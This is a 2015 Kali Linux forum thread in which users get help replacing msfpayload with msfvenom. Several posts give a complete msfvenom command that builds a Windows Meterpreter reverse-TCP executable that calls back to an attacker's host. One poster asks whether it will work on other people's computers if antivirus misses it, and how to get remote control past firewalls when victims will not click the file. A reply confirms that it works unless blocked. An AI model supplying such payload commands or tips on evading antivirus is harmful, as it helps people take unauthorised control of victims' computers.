So.. i receive an error message like "bash: msfpayload command not found". What i should do?
I searched on the net.. but i found nothing...
So.. i receive an error message like "bash: msfpayload command not found". What i should do?
I searched on the net.. but i found nothing...
Switch to msfvenom.
More information about why msfpayload/msfencode have been removed:
+ https://community.rapid7.com/communi...-and-msfencode
+ https://community.rapid7.com/communi...rom-metasploit
How to use msfvenom:
+ https://www.offensive-security.com/m...shed/msfvenom/
+ https://github.com/rapid7/metasploit...o-use-msfvenom
+ https://community.rapid7.com/communi...ucing-msfvenom
Last edited by g0tmi1k; 2015-07-02 at 10:20.
This is a Kali-Linux support forum - not general IT/infosec help.
Useful Commands: OS, Networking, Hardware, Wi-Fi
Troubleshooting: Kali-Linux Installation, Repository, Wi-Fi Cards (Official Docs)
Hardware: Recommended 802.11 Wireless Cards
Documentation: http://docs.kali.org/ (Offline PDF version)
Bugs Reporting & Tool Requests: https://bugs.kali.org/
Kali Tool List, Versions & Man Pages: https://tools.kali.org/
Ok, now i have another problem, if someone can help me.
I used msfvenom to creade a payload.
msfvenom windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx x > program.exe
So i created that exe named "program.exe" but when i want to execute it on a windows it says that it's not a Valid win32 application....
So.. what i've done wrong? Why it's not valid?
Try the command without "> program.exe" and you'll see the result. The last "x" won't work here. Test with this :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx --format=exe > program.exe
See if it helps![]()
Last edited by haken29a; 2015-07-02 at 18:25.
Thank you haken, thank you very much it works. I tried it on my computer and it works like a charm, so it should work on everyone's computer if the .exe it's not detected by the antivirus right? Or it works on my computer just because... it's connected at the same modem?
And btw, is there any sure method for remote control without sending a file but still pass the firewall? Some ppl will not click your .exe or .bat...
Last edited by g0dafk; 2015-07-03 at 15:33.
It should work as long as nothing is blocking yes (like AV or firewall). For your other question, there's no "sure" method that I know of.
if you're sing kali 2.0 or u have update msfpayload, so the term has been replaced for "msfvenom", it looks coolest...
i use kali-linux 2.0 ......when i use in terminal "msfpayload windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 x > windows.exe" then the terminal reply that "bash : msfpayload: command not found" .............................. How can i fix it.
The reply from g0tmi1k has a good explanation. haken29a listed an alternate command that works.
I am glad they use msfvenom now, it's alot better.
The Paradox
Agreed, Infinitynull, that helped simplify things for me.
haken && g0dafk !!
i tried this as you say:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx --format=exe > program.exe
but an error is pop up:
NO PLATFORM WAS SELECTED,CHOOSING MSF::MODULE::PLATFORM::WINDOWS FROM THE PAYLOAD
NO ARCH SELECTED,SELECTING ARCH: X86 FROM THE PAYLOAD
NO ENCODER OR BADCHARS SPECIFIED,OUTPUTTING RAW PAYLOAD
PAYLOAD SIZE: 333 BYTES